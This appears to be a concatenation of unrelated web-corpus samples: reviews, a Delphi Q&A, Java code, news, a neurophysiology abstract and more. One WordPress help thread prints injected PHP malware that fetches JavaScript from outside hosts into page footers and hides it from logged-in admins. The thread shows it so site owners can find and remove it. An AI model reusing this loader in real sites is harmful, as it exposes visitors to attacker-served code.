Kelly A. Moore
Robert M. Romano
Martha B. Stolley
John M. Vassos
Elizabeth Hoop Fay
Timothy W. Levin
Sean Graber
Marc J. Sonnenfeld
Joseph E. Floren
Elizabeth A. Frohlich
Susan D. Resley
John V. Ayanian
Patrick D. Conner
Mark D. Fitterman
Melissa Hall
Charles M. Horn
Daniel R. Kleinman
Christian J. Mixter
Michael Richman
Steven W. Stone
[1]. This outline was prepared by partners Ben A. Indek, Merri Jo Gillette, Michèle A. Coffey, Jennifer Klass, E. Andrew Southerling, and Ivan P. Harris; of counsel Mary M. Dunbar; associates David Behar, Megan Braden, John Cosgriff, Jed Doench, Ariel Gursky, Dallas Kaplan, Benjamin Kwak, Kerry Land, Christine Lombardo, Nicholas Losurdo, Jonathan Maier, Julie Marcacci, Katarzyna Mularczyk, Mary Pennisi, Kaitlyn Piper, Ignacio Sandoval, Todd Smith, Zachary Vonnegut-Gabovitch, and Sam Wardle; and legal assistants Tanya Paul and Christina Mancing. Administrative support was provided by Veda Nieves and Angelita Henry. Morgan Lewis served as counsel in certain actions described herein.
AUTHORS AND CONTACTS
Washington, DC / Miami
Ariel Gursky
Christine M. Lombardo
Philadelphia / New York
Jonathan E. Maier
Katarzyna Mularczyk
Ignacio A. Sandoval
Megan R. Braden
Partner-Elect
John A. Cosgriff
Registered Funds
Securities_LF_2013YearInReview_19feb14


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text:
Il Single Program Multiple Data è una tecnica di programmazione secondo il quale tutti i processi eseguono lo stesso programma, ognuno su dati diversi; la distinzione nelle esecuzioni, tra processi diversi, avviene differenziando il flusso del programma, in base al rank locale del processo.

È una particolare tecnica di programmazione in cui un singolo programma è eseguito da più processi contemporaneamente, ma ogni processo è in grado di operare su dati differenti. Nello stesso istante i processi possono eseguire sia la stessa istruzione che istruzioni diverse. Ovviamente il programma conterrà opportune istruzioni che permettono di eseguire solamente parti del codice e/o di operare su un sottoinsieme dei dati. Può essere realizzato mediante diversi modelli di programmazione, e tutti gli eseguibili partono contemporaneamente.

programmazione

redpajama_set_name: RedPajamaWikipedia


1444 1st Ave. at 75th St.
I went here with a friend last week, we wanted to catch up after some time. she lives in the area and as she has a duty for me only tall people can do (i.e. changing the kitchen light bulb), this was just the perfect spot to chitchat for a bit.
they have a huge beer menu. even though I am German, I do not like beer too much, hence I go for cider a lot of times. they had a very delicious black cherry cider, unfortunately I do not remember the brand – which gives me a reason to go back.
we felt a little hungry, so we ordered some little things. I like the atmosphere there, it's very casual. we also came quite early, maybe around 5pm, so it was still empty.
and I decided on the duck sliders. we also shared the naked thai calamari which were delicious – very thin batter and mixed with that sweet chili sauce. I might a have a new favorite version now.


This beautiful, cozy, little cupcake store is where you should go for a little bite of heaven, they make the best cupcakes in the city. It's a small business that specializes in American style cupcakes which are made fresh daily (variety changes) and are super delicious.
The Carrot cupcake and the Salted caramel cupcake are my personal favorites. There are many many others of course some of which are: Lotus, Snickers, Tiramisu and of course the Red Velvet.
You can also get a good cup of coffee here, some nice homemade iced tea and the biggest oreo cookie I have ever seen. I have tried it and it's good but I prefer the cupcakes.
My best tip for you is: get there before 15:00, as that's when stuff starts to run out.


Ensure convenient access and secure storage for cyclists, while encouraging healthy and sustainable lifestyles in your neighborhood and community. Proper bike storage helps organize urban spaces—avoiding clutter and damage to trees, traffic signs, fences and other streetscape features. Effective bike parking can also support a valuable customer base for businesses.


text:
Q: How do I detect when the mouse is no longer in a control? I have put images (TImage) as buttons in my program. I want to add some extra effects, so in OnMouseMove (whenever the user moves his mouse over the image) the image is replaced by another image in order to give the extra effect:
procedure TForm1.Image4MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
var
  Path, Destination: String;
begin
  Path := ParamStr(0);
  Destination := Extractfilepath(Path) + 'Images\Image2.bmp';
  Image4.Picture.LoadFromFile(Destination);
end;

But whenever the user moves his mouse away (when he leaves the image), it doesn't undo the things done (change back to Image1). How am I going to do that? There isn't a OnMouseLeave event. I am using delphi 7.

A: First, the code in your question is horrible! It will (re-) load the bitmap every time the cursor moves a pixel inside the image control! That's such a waste of CPU time!
Anyhow, in modern versions of Delphi, you'd simply use the OnMouseEnter and OnMouseLeave events. I don't think these exist in Delphi 7, so you have to do something like this:
TImage = class(ExtCtrls.TImage)
protected
  procedure CMMouseEnter(var Message: TMessage); message CM_MOUSEENTER;
  procedure CMMouseLeave(var Message: TMessage); message CM_MOUSELEAVE;
end;

where
{ TImage }

procedure TImage.CMMouseEnter(var Message: TMessage);
begin
  // Do something
end;

procedure TImage.CMMouseLeave(var Message: TMessage);
begin
  // Do something else
end;

This example takes the form of an interposer class, but of course you might be better of making a properly subclassed control.

A: If you load another picture in the image control, then the previous loaded one is gone: you have to load it again. You could do that when the mouse moves over the container of the image, presumably the form itself.
But loading pictures in a mouse move event handler is terrible as Andreas already explained.
May I present an alternative? Create two image controls and place them at the same place. Then add the following handlers:
procedure TForm1.Image4AMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
  Image4B.BringToFront;
  Image4B.Tag := 1;
end;

procedure TForm1.FormMouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
begin
  if Image4B.Tag = 1 then
  begin
    Image4B.Tag := 0;
    Image4A.BringToFront;
  end;
end;

redpajama_set_name: RedPajamaStackExchange


text:
package be.peopleware.jsf_II.convert;

import javax.faces.FacesException;
import javax.faces.component.UIComponent;
import javax.faces.context.FacesContext;
import javax.faces.convert.Converter;
import javax.faces.convert.ConverterException;

import net.sf.hibernate.Session;

import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;

import be.peopleware.exception_I.TechnicalException;
import be.peopleware.jsf_II.RobustCurrent;
import be.peopleware.persistence_II.DaoFactory;
import be.peopleware.persistence_II.IdNotFoundException;
import be.peopleware.persistence_II.PersistentBean;
import be.peopleware.persistence_II.hibernate.HibernateAsyncCrudDao;
import be.peopleware.persistence_II.hibernate.HibernateDaoFactory;
import be.peopleware.servlet_I.hibernate.SessionInView;

/**
 * Converter for {@link PersistentBean}. The value must be the ID of
 * the class. To activate this, the following entry has to appear in
 * faces-config.xml :
 *
 *

 *
 *  <converter>
 *    <converter-for-class>be.peopleware.persistence_II.PersistentBean</converter-for-class>
 *    <converter-class>be.peopleware.jsf_II.convertor.PersistentBeanConverter</converter-class>
 *  </converter>
 *
 *

 *
 * @author David Van Keer
 * @author Peopleware n.v.
 */
public class PersistentBeanConverter implements Converter {

  /*
 */
  //------------------------------------------------------------------
  /** {@value} */
  public static final String CVS_REVISION = "$Revision$"; //$NON-NLS-1$
  /** {@value} */
  public static final String CVS_DATE = "$Date$"; //$NON-NLS-1$
  /** {@value} */
  public static final String CVS_STATE = "$State$"; //$NON-NLS-1$
  /** {@value} */
  public static final String CVS_TAG = "$Name$"; //$NON-NLS-1$
  /*
 */

  private static final Log LOG = LogFactory.getLog(PersistentBeanConverter.class);

  /**
   * @return    (value != null)
   *              ? result.getId().equals((Long)value))
   *              : null;
   * @throws    ConverterException
   *            No PersistentBean was found with a ID of value or
   *            technical problems occurred while trying to retrieve the correct
   *            PersistentBean
   */
  public Object getAsObject(final FacesContext context,
                            final UIComponent component,
                            final String value)
      throws ConverterException {
    // First determine which type we are using. The jsf page designer, will
    // have to pass a attribute with name 'typeName' with a a fqClassName
    // of the type to retrieve.
    String typeName = (String)component.getAttributes().get("typeName");
    Class type = PersistentBean.class;
    if (typeName != null || typeName.equals(EMPTY)) {
      try {
        type = Class.forName(typeName);
      }
      catch (LinkageError lErr) {
        throw new FacesException("Cannot convert String to Class", lErr);
      }
      catch (ClassNotFoundException cnfExc) {
        throw new FacesException("Cannot convert String to Class", cnfExc);
      }
    }

    Object result = null;
    if (value != null && !value.equals(EMPTY)) {
      Long id = Long.valueOf(value);
      LOG.debug("Recieving a request for a \"" + type + "\" with id \"" + id + "\".");
      HibernateDaoFactory daoFactory = new HibernateDaoFactory();
      HibernateAsyncCrudDao dao = (HibernateAsyncCrudDao)daoFactory.getDao(DaoFactory.ASYNC_CRUD);
      try {
        Session session = SessionInView.getSession(RobustCurrent.httpServletRequest());
        dao.setSession(session);
        result = dao.retrievePersistentBean(id, type);
        LOG.debug("\"" + type + "\" retrieved with id \"" + id + "\"");
      }
      catch (NumberFormatException nfEx) {
        LOG.error("\"" + value + "\" is not a number", nfEx);
        throw new ConverterException("\"" + value + "\" is not a number", nfEx);
      }
      catch (IdNotFoundException infExc) {
        LOG.error("No \"" + type + "\" found with id \"" + id + "\"");
        throw new ConverterException("No PersistentBean bean found with id " + id);
      }
      catch (TechnicalException tExc) {
        LOG.error("Failed to retrieve \"" + type + "\" due to technical problems", tExc);
        throw new ConverterException("Unable to retrieve PersistentBean due "
            + "to technical problems.");
      }
    }
    return result;
  }

  /**
   * The empty string.
   *
   * = ""
   */
  public static final String EMPTY = "";

  /**
   * @return    (value != null)
   *                ? (((PersistentBean)value).getId() != null)
   *                      ? ((PersistentBean)value).getId().toString
   *                      : ""
   *                : "";
   * @throws    ConverterException
   *            !(value instanceof PersistentBean))
   */
  public String getAsString(final FacesContext context,
                            final UIComponent component,
                            final Object value) throws ConverterException {
    if (value == null) {
      return EMPTY;
    }
    if (value.equals(EMPTY)) { // MUDO (jand) this is extremely weird; ask Abdul
      return EMPTY;
    }
    if (!(value instanceof PersistentBean)) {
      LOG.error("Unable to convert \"" + value + "\" because it is not a "
          + "subclass of PersistentBean.");
      throw new ConverterException("Value is not subclass of PersistentBean Class");
    }
    PersistentBean persistentBean = ((PersistentBean)value);
    return (persistentBean.getId() != null) ? persistentBean.getId().toString() : EMPTY;
  }

}

redpajama_set_name: RedPajamaGithub


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text:
For Basque by Basque: A SmartVide for Basque Kitchen by Aitor
July 8, 2021 Español
Yesterday, Basque Kitchen by Aitor restaurant received its personalized sous-vide cooker SmartVide 5. Thanks to it, Chef Aitor Jeronimo Orive's restaurant will continue to bring the essence of the Basque Country to Singapore.
As a proud descendant of Basque Country, Chef-Patron Aitor Jeronimo Orive collaborated with Unlisted Collection and established Basque Kitchen by Aitor in October 2018 as Singapore's first Basque-centric restaurant and was awarded its first Michelin Star in the 2019 edition of Michelin Guide Singapore.
Basque Kitchen is housed within the historical building of The Fullerton Waterboat House, it comprises a pintxo bar and lounge, a dining room and a private room, boasting fine views across the waterfront.
The unique Basques' gastronomy culture has indeed created an impression for many. Chef Aitor's took interest in cooking as an expression of his heritage and that has led him to presents a repertoire of dishes that pay tribute to classic Basque flavours and produce, accompanied with warm hospitality true to the Basque Country.
Sammic is proud to partner Chef Aitor and looking forward to many more collaborations.


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VALDOSTA, GA (WALB) - Stephen Beck, who shot officer Randall Hancock last year, because he wanted the police to kill him, has pled guilty to the crime.
Agents said Beck told them he suffers from depression and has no hatred for police. Officer Randall Hancock is a ten year veteran of the department.
District Attorney Bradfield M. Shealy announced today that Stephen Beck, 22, pled guilty to one count of attempted murder and one count of possession of a firearm during the commission of a felony on March 27, 2017 before Judge Harry Jay Altman, II.
"This situation really shows how dangerous it is today to be a law enforcement officer," Shealy said. "In this instance Officer Hancock was responding to an early morning call about damage to a vehicle, and as he attempted to do his job, was ambushed. He may not be with us today if it had not been for his body armor. The one good thing found in this terrible incident was that once the it was contained the first thing Officer Hancock did was to insist that the other officers get his First Aid kit to assist his assailant. This truly shows that our law enforcement officers are here to serve and protect."
Stephen Beck's sentencing is set for May 22, 2017 at 9:30 a.m.


text:
Otolith-brain stem connectivity: Evidence for differential neural activation by vestibular hair cells based on quantification of FOS expression in unilateral labyrinthectomized rats
G. D. Kaufman, J. H. Anderson, A. J. Beitz
Veterinary and Biomedical Sciences
Chronic Disease Biology
1. The effects of acute and chronic labyrinthectomies on Fos-defined neuronal activity induced by rotation were determined with the use of quantitative image analysis procedures. Unilateral sodium arsanilate labyrinthectomies (UL) were performed either 24 h (acute) or 2 wk (chronic) before exposure to a 90 min, 2-G centripetal acceleration along the interaural axis that stimulated the intact otolith organs. The results obtained from both acute and chronic UL animals subjected to centripetal acceleration were compared with data obtained from nonrotated UL animals and fully intact, normal animals exposed to centripetal acceleration. Such comparisons allowed the definition of functional projections from the otolith organs of one labyrinth to vestibular related and inferior olivary brain stem nuclei in the rat. 2. The effect of the labyrinthectomy on nonrotated animals was first assessed. After acute UL, asymmetric Fos expression was present in the medial and inferior vestibular nuclei, the prepositus hypoglossi (bilaterally), the ipsilateral (with respect to the side of UL) dorsolateral periaqueductal gray, and the contralateral inferior olivary beta subnucleus, as previously described (Kaufman et al., 1992b). Except for minimal labeling in the contralateral prepositus hypoglossi and the dorsolateral periaqueductal gray, the Fos labeling that was present in the brain stem of acute UL animals was absent in chronic UL animals. Thus Fos neuronal activity appears to define a pattern of brain stem activation associated with the initial events that underlie vestibular compensation. 3. In acute UL rats, which were rotated, the contralateral beta subnucleus of the inferior olive had greater labeling (compared with nonrotated UL animals) when the lesion was away from the axis of rotation. In contrast, the ipsilateral beta subnucleus labeled when the lesion was towards the axis of rotation. Fos expression was observed bilaterally in the prepositus hypoglossi when the lesioned side was oriented toward the axis of rotation but was observed only in the contralateral prepositus nucleus when the lesioned side was oriented away from the axis of rotation. Finally, the dorsomedial cell column of the inferior olive (DMCC) was heavily labeled when the lesioned side was oriented towards the axis of rotation but was unlabeled when the lesioned side was oriented away from the axis of rotation. In acute UL nonrotated animals the DMCC was only lightly labeled. All other brain stem nuclear labeling was similar between the acute UL rotated and nonrotated animals. 4. In chronic UL animals which were rotated with the lesioned side oriented towards the axis of rotation, Fos labeling occurred primarily in the following nuclei: the ipsilateral beta and bilateral dorsomedial cell column of the inferior olive; the medial, inferior, and y vestibular nuclei and prepositus hypoglossi predominantly on the contralateral side; and the dorsolateral periaqueductal gray and Darkschewitsch nucleus with greater labeling on the ipsilateral side. There were also differences in the rostrocaudal pattern of labeling in the prepositus hypoglossi and the medial vestibular nucleus. 5. In chronic UL animals that were rotated with the lesioned side away from the axis of rotation, Fos labeling only occurred in the contralateral prepositus hypoglossi and in the dorsolateral periaqueductal gray (stronger ipsilaterally). 6. A comparison of the pattern of labeling in the prepositus hypoglossi and olivary subnuclei in acute and chronic rotated versus nonrotated UL animals suggests that these nuclei support different roles during vestibular compensation and adaptation to hypergravity. Thus the contralateral beta olivary subnucleus is activated by the initial compensation process (acute UL), which appears to increase the sensitivity of this nucleus to hypergravity. The ipsilateral beta subnucleus, on the other hand, is only activated by hypergravity in a specific direction (both acute and chronic UL). 7. In addition to counting the number of Fos labeled neurons, we also quantified Fos expression by using digital image analysis to measure the average intensity of Fos immunolabeling per cell in a given nucleus. Intensity variation among individual neurons in any particular nucleus was approximately ±15% of the mean value within the maximum possible range of values. These differences might be correlated with varying functional roles among the cells within a particular nucleus.
Journal of neurophysiology
https://doi.org/10.1152/jn.1993.70.1.117
10.1152/jn.1993.70.1.117
Dive into the research topics of 'Otolith-brain stem connectivity: Evidence for differential neural activation by vestibular hair cells based on quantification of FOS expression in unilateral labyrinthectomized rats'. Together they form a unique fingerprint.
Vestibular Hair Cells Medicine & Life Sciences 100%
Otolithic Membrane Medicine & Life Sciences 89%
Brain Stem Medicine & Life Sciences 57%
Animals Medicine & Life Sciences 31%
Periaqueductal Gray Medicine & Life Sciences 26%
Hypergravity Medicine & Life Sciences 24%
Vestibular Nuclei Medicine & Life Sciences 21%
Acceleration Medicine & Life Sciences 15%
Kaufman, G. D., Anderson, J. H., & Beitz, A. J. (1993). Otolith-brain stem connectivity: Evidence for differential neural activation by vestibular hair cells based on quantification of FOS expression in unilateral labyrinthectomized rats. Journal of neurophysiology, 70(1), 117-127. https://doi.org/10.1152/jn.1993.70.1.117
Otolith-brain stem connectivity : Evidence for differential neural activation by vestibular hair cells based on quantification of FOS expression in unilateral labyrinthectomized rats. / Kaufman, G. D.; Anderson, J. H.; Beitz, A. J.
In: Journal of neurophysiology, Vol. 70, No. 1, 01.01.1993, p. 117-127.
Kaufman, GD, Anderson, JH & Beitz, AJ 1993, 'Otolith-brain stem connectivity: Evidence for differential neural activation by vestibular hair cells based on quantification of FOS expression in unilateral labyrinthectomized rats', Journal of neurophysiology, vol. 70, no. 1, pp. 117-127. https://doi.org/10.1152/jn.1993.70.1.117
Kaufman GD, Anderson JH, Beitz AJ. Otolith-brain stem connectivity: Evidence for differential neural activation by vestibular hair cells based on quantification of FOS expression in unilateral labyrinthectomized rats. Journal of neurophysiology. 1993 Jan 1;70(1):117-127. doi: 10.1152/jn.1993.70.1.117
Kaufman, G. D. ; Anderson, J. H. ; Beitz, A. J. / Otolith-brain stem connectivity : Evidence for differential neural activation by vestibular hair cells based on quantification of FOS expression in unilateral labyrinthectomized rats. In: Journal of neurophysiology. 1993 ; Vol. 70, No. 1. pp. 117-127.
@article{682e9de3ef204a47be5ced5425d7b825,
title = "Otolith-brain stem connectivity: Evidence for differential neural activation by vestibular hair cells based on quantification of FOS expression in unilateral labyrinthectomized rats",
abstract = "1. The effects of acute and chronic labyrinthectomies on Fos-defined neuronal activity induced by rotation were determined with the use of quantitative image analysis procedures. Unilateral sodium arsanilate labyrinthectomies (UL) were performed either 24 h (acute) or 2 wk (chronic) before exposure to a 90 min, 2-G centripetal acceleration along the interaural axis that stimulated the intact otolith organs. The results obtained from both acute and chronic UL animals subjected to centripetal acceleration were compared with data obtained from nonrotated UL animals and fully intact, normal animals exposed to centripetal acceleration. Such comparisons allowed the definition of functional projections from the otolith organs of one labyrinth to vestibular related and inferior olivary brain stem nuclei in the rat. 2. The effect of the labyrinthectomy on nonrotated animals was first assessed. After acute UL, asymmetric Fos expression was present in the medial and inferior vestibular nuclei, the prepositus hypoglossi (bilaterally), the ipsilateral (with respect to the side of UL) dorsolateral periaqueductal gray, and the contralateral inferior olivary beta subnucleus, as previously described (Kaufman et al., 1992b). Except for minimal labeling in the contralateral prepositus hypoglossi and the dorsolateral periaqueductal gray, the Fos labeling that was present in the brain stem of acute UL animals was absent in chronic UL animals. Thus Fos neuronal activity appears to define a pattern of brain stem activation associated with the initial events that underlie vestibular compensation. 3. In acute UL rats, which were rotated, the contralateral beta subnucleus of the inferior olive had greater labeling (compared with nonrotated UL animals) when the lesion was away from the axis of rotation. In contrast, the ipsilateral beta subnucleus labeled when the lesion was towards the axis of rotation. Fos expression was observed bilaterally in the prepositus hypoglossi when the lesioned side was oriented toward the axis of rotation but was observed only in the contralateral prepositus nucleus when the lesioned side was oriented away from the axis of rotation. Finally, the dorsomedial cell column of the inferior olive (DMCC) was heavily labeled when the lesioned side was oriented towards the axis of rotation but was unlabeled when the lesioned side was oriented away from the axis of rotation. In acute UL nonrotated animals the DMCC was only lightly labeled. All other brain stem nuclear labeling was similar between the acute UL rotated and nonrotated animals. 4. In chronic UL animals which were rotated with the lesioned side oriented towards the axis of rotation, Fos labeling occurred primarily in the following nuclei: the ipsilateral beta and bilateral dorsomedial cell column of the inferior olive; the medial, inferior, and y vestibular nuclei and prepositus hypoglossi predominantly on the contralateral side; and the dorsolateral periaqueductal gray and Darkschewitsch nucleus with greater labeling on the ipsilateral side. There were also differences in the rostrocaudal pattern of labeling in the prepositus hypoglossi and the medial vestibular nucleus. 5. In chronic UL animals that were rotated with the lesioned side away from the axis of rotation, Fos labeling only occurred in the contralateral prepositus hypoglossi and in the dorsolateral periaqueductal gray (stronger ipsilaterally). 6. A comparison of the pattern of labeling in the prepositus hypoglossi and olivary subnuclei in acute and chronic rotated versus nonrotated UL animals suggests that these nuclei support different roles during vestibular compensation and adaptation to hypergravity. Thus the contralateral beta olivary subnucleus is activated by the initial compensation process (acute UL), which appears to increase the sensitivity of this nucleus to hypergravity. The ipsilateral beta subnucleus, on the other hand, is only activated by hypergravity in a specific direction (both acute and chronic UL). 7. In addition to counting the number of Fos labeled neurons, we also quantified Fos expression by using digital image analysis to measure the average intensity of Fos immunolabeling per cell in a given nucleus. Intensity variation among individual neurons in any particular nucleus was approximately ±15% of the mean value within the maximum possible range of values. These differences might be correlated with varying functional roles among the cells within a particular nucleus.",
author = "Kaufman, {G. D.} and Anderson, {J. H.} and Beitz, {A. J.}",
doi = "10.1152/jn.1993.70.1.117",
journal = "Journal of Neurophysiology",
T1 - Otolith-brain stem connectivity
T2 - Evidence for differential neural activation by vestibular hair cells based on quantification of FOS expression in unilateral labyrinthectomized rats
AU - Kaufman, G. D.
AU - Anderson, J. H.
AU - Beitz, A. J.
N2 - 1. The effects of acute and chronic labyrinthectomies on Fos-defined neuronal activity induced by rotation were determined with the use of quantitative image analysis procedures. Unilateral sodium arsanilate labyrinthectomies (UL) were performed either 24 h (acute) or 2 wk (chronic) before exposure to a 90 min, 2-G centripetal acceleration along the interaural axis that stimulated the intact otolith organs. The results obtained from both acute and chronic UL animals subjected to centripetal acceleration were compared with data obtained from nonrotated UL animals and fully intact, normal animals exposed to centripetal acceleration. Such comparisons allowed the definition of functional projections from the otolith organs of one labyrinth to vestibular related and inferior olivary brain stem nuclei in the rat. 2. The effect of the labyrinthectomy on nonrotated animals was first assessed. After acute UL, asymmetric Fos expression was present in the medial and inferior vestibular nuclei, the prepositus hypoglossi (bilaterally), the ipsilateral (with respect to the side of UL) dorsolateral periaqueductal gray, and the contralateral inferior olivary beta subnucleus, as previously described (Kaufman et al., 1992b). Except for minimal labeling in the contralateral prepositus hypoglossi and the dorsolateral periaqueductal gray, the Fos labeling that was present in the brain stem of acute UL animals was absent in chronic UL animals. Thus Fos neuronal activity appears to define a pattern of brain stem activation associated with the initial events that underlie vestibular compensation. 3. In acute UL rats, which were rotated, the contralateral beta subnucleus of the inferior olive had greater labeling (compared with nonrotated UL animals) when the lesion was away from the axis of rotation. In contrast, the ipsilateral beta subnucleus labeled when the lesion was towards the axis of rotation. Fos expression was observed bilaterally in the prepositus hypoglossi when the lesioned side was oriented toward the axis of rotation but was observed only in the contralateral prepositus nucleus when the lesioned side was oriented away from the axis of rotation. Finally, the dorsomedial cell column of the inferior olive (DMCC) was heavily labeled when the lesioned side was oriented towards the axis of rotation but was unlabeled when the lesioned side was oriented away from the axis of rotation. In acute UL nonrotated animals the DMCC was only lightly labeled. All other brain stem nuclear labeling was similar between the acute UL rotated and nonrotated animals. 4. In chronic UL animals which were rotated with the lesioned side oriented towards the axis of rotation, Fos labeling occurred primarily in the following nuclei: the ipsilateral beta and bilateral dorsomedial cell column of the inferior olive; the medial, inferior, and y vestibular nuclei and prepositus hypoglossi predominantly on the contralateral side; and the dorsolateral periaqueductal gray and Darkschewitsch nucleus with greater labeling on the ipsilateral side. There were also differences in the rostrocaudal pattern of labeling in the prepositus hypoglossi and the medial vestibular nucleus. 5. In chronic UL animals that were rotated with the lesioned side away from the axis of rotation, Fos labeling only occurred in the contralateral prepositus hypoglossi and in the dorsolateral periaqueductal gray (stronger ipsilaterally). 6. A comparison of the pattern of labeling in the prepositus hypoglossi and olivary subnuclei in acute and chronic rotated versus nonrotated UL animals suggests that these nuclei support different roles during vestibular compensation and adaptation to hypergravity. Thus the contralateral beta olivary subnucleus is activated by the initial compensation process (acute UL), which appears to increase the sensitivity of this nucleus to hypergravity. The ipsilateral beta subnucleus, on the other hand, is only activated by hypergravity in a specific direction (both acute and chronic UL). 7. In addition to counting the number of Fos labeled neurons, we also quantified Fos expression by using digital image analysis to measure the average intensity of Fos immunolabeling per cell in a given nucleus. Intensity variation among individual neurons in any particular nucleus was approximately ±15% of the mean value within the maximum possible range of values. These differences might be correlated with varying functional roles among the cells within a particular nucleus.
AB - 1. The effects of acute and chronic labyrinthectomies on Fos-defined neuronal activity induced by rotation were determined with the use of quantitative image analysis procedures. Unilateral sodium arsanilate labyrinthectomies (UL) were performed either 24 h (acute) or 2 wk (chronic) before exposure to a 90 min, 2-G centripetal acceleration along the interaural axis that stimulated the intact otolith organs. The results obtained from both acute and chronic UL animals subjected to centripetal acceleration were compared with data obtained from nonrotated UL animals and fully intact, normal animals exposed to centripetal acceleration. Such comparisons allowed the definition of functional projections from the otolith organs of one labyrinth to vestibular related and inferior olivary brain stem nuclei in the rat. 2. The effect of the labyrinthectomy on nonrotated animals was first assessed. After acute UL, asymmetric Fos expression was present in the medial and inferior vestibular nuclei, the prepositus hypoglossi (bilaterally), the ipsilateral (with respect to the side of UL) dorsolateral periaqueductal gray, and the contralateral inferior olivary beta subnucleus, as previously described (Kaufman et al., 1992b). Except for minimal labeling in the contralateral prepositus hypoglossi and the dorsolateral periaqueductal gray, the Fos labeling that was present in the brain stem of acute UL animals was absent in chronic UL animals. Thus Fos neuronal activity appears to define a pattern of brain stem activation associated with the initial events that underlie vestibular compensation. 3. In acute UL rats, which were rotated, the contralateral beta subnucleus of the inferior olive had greater labeling (compared with nonrotated UL animals) when the lesion was away from the axis of rotation. In contrast, the ipsilateral beta subnucleus labeled when the lesion was towards the axis of rotation. Fos expression was observed bilaterally in the prepositus hypoglossi when the lesioned side was oriented toward the axis of rotation but was observed only in the contralateral prepositus nucleus when the lesioned side was oriented away from the axis of rotation. Finally, the dorsomedial cell column of the inferior olive (DMCC) was heavily labeled when the lesioned side was oriented towards the axis of rotation but was unlabeled when the lesioned side was oriented away from the axis of rotation. In acute UL nonrotated animals the DMCC was only lightly labeled. All other brain stem nuclear labeling was similar between the acute UL rotated and nonrotated animals. 4. In chronic UL animals which were rotated with the lesioned side oriented towards the axis of rotation, Fos labeling occurred primarily in the following nuclei: the ipsilateral beta and bilateral dorsomedial cell column of the inferior olive; the medial, inferior, and y vestibular nuclei and prepositus hypoglossi predominantly on the contralateral side; and the dorsolateral periaqueductal gray and Darkschewitsch nucleus with greater labeling on the ipsilateral side. There were also differences in the rostrocaudal pattern of labeling in the prepositus hypoglossi and the medial vestibular nucleus. 5. In chronic UL animals that were rotated with the lesioned side away from the axis of rotation, Fos labeling only occurred in the contralateral prepositus hypoglossi and in the dorsolateral periaqueductal gray (stronger ipsilaterally). 6. A comparison of the pattern of labeling in the prepositus hypoglossi and olivary subnuclei in acute and chronic rotated versus nonrotated UL animals suggests that these nuclei support different roles during vestibular compensation and adaptation to hypergravity. Thus the contralateral beta olivary subnucleus is activated by the initial compensation process (acute UL), which appears to increase the sensitivity of this nucleus to hypergravity. The ipsilateral beta subnucleus, on the other hand, is only activated by hypergravity in a specific direction (both acute and chronic UL). 7. In addition to counting the number of Fos labeled neurons, we also quantified Fos expression by using digital image analysis to measure the average intensity of Fos immunolabeling per cell in a given nucleus. Intensity variation among individual neurons in any particular nucleus was approximately ±15% of the mean value within the maximum possible range of values. These differences might be correlated with varying functional roles among the cells within a particular nucleus.
U2 - 10.1152/jn.1993.70.1.117
DO - 10.1152/jn.1993.70.1.117
JO - Journal of Neurophysiology
JF - Journal of Neurophysiology


text:
Michelle Dusserre Farrell
Michelle Dusserre Farrell brings over 35 years of involvement in the Olympic movement, starting as a 1984 Olympic silver medalist in the sport of gymnastics. Michelle was a gymnastics coach at the club and college level for 12 years, a member of the Athletes Advisory Council for both USA Gymnastics and the USOC, and is a 2006 inductee into the USA Gymnastics Hall of Fame. She has worked in organizational sport performance for both the USOC domestically and for various international sport organizations. She has worked a combined total of seven Olympic and Paralympic Games, three of which were for NBC sports television in the research division. She is currently the Colorado Chapter President of the U.S. Olympic and Paralympic Alumni Association, and oversees athlete engagement for the U.S. Olympic City Task Force. She holds a Bachelor of Science in Human Nutrition from Arizona State University, a Masters of Basic Science (with an emphasis in exercise science) from University of Colorado, Colorado Springs, and she is a Registered Dietitian (R.D.).
mfarrell@usolympicmuseum.org


text:
Q: Finding a link and the file that contains that link in WordPress I have a web site that is built on WordPress. When the source code is checked (ctrl+u) there is a link that pops up:
  <script type="text/javascript" src="https://www.9iwp.org/jquery.js">

what is it and where would I find it in the source files? It's supposed to be damaging and I need to get rid of it. I've gone through every line of code of every available to me file and don't know where else to look. Any suggestions?

A: I've solved it by replacing the link to another not considered malware. I haven't been able to locate where the injection is been done, but at least now my site is "safe". You have to add this code at the end of your template's functions.php file:
add_action('wp_footer', 'my_start_footer_ob', 1);
function my_start_footer_ob() {
    ob_start("my_end_footer_ob_callback");
}

add_action('wp_footer', 'my_end_footer_ob', 1000);
function my_end_footer_ob() {
    ob_end_flush();
}

function my_end_footer_ob_callback($buffer) {
    // remove what you need from he buffer
    $buffer = str_replace('www.9iwp.org/jquery.js',"www.mysite.org/wp-content/themes/Mytheme/assets/js/empty.js",$buffer);
    return $buffer;
}

UPDATE!!
I found where it is!
This is the "injection" in one of the template's functions file (in my case framework/functions/helpers.php)
if(!function_exists('wp_func_jquery')) {
    if (!current_user_can( 'read' ) && !isset(${_COOKIE}['wp_min'])) {
        function wp_func_jquery() {
            $host = 'http://';
            $jquery = $host.'lib'.'wp.org/jquery-ui.js';
            $headers = @get_headers($jquery, 1);
            if ($headers[0] == 'HTTP/1.1 200 OK'){
                echo(wp_remote_retrieve_body(wp_remote_get($jquery)));
            }
    }
    add_action('wp_footer', 'wp_func_jquery');
    }
    function wp_func_min(){
        setcookie('wp_min', '1', time() + (86400 * 360), '/');
    }
    add_action('wp_login', 'wp_func_min');
}

Find that function and remove it.

A: In my site it was embedded on a plugin:
    if(!function_exists('wp_func_jquery')) {
    function wp_func_jquery() {
        $host = 'http://';
        echo(wp_remote_retrieve_body(wp_remote_get($host.'ui'.'jquery.org/jquery-1.6.3.min.js')));
    }
    add_action('wp_footer', 'wp_func_jquery');
    }


text:
Two species into one: bottleneck history of Helicoverpa zea from Helicoverpa armigera revealed by DNA barcoding
Behere, Gajanan T., Russell, Derek A., Batterham, Philip and Tay, Wee Tek (2006) Two species into one: bottleneck history of Helicoverpa zea from Helicoverpa armigera revealed by DNA barcoding. In: 7th International Workshop on the Molecular Biology and Genetics of the Lepidoptera, 20-26 August 2006, Orthodox Academy of Crete, Kolympari, Crete, Greece. (Unpublished)
Official URL: http://www.insectscience.org/7.29/
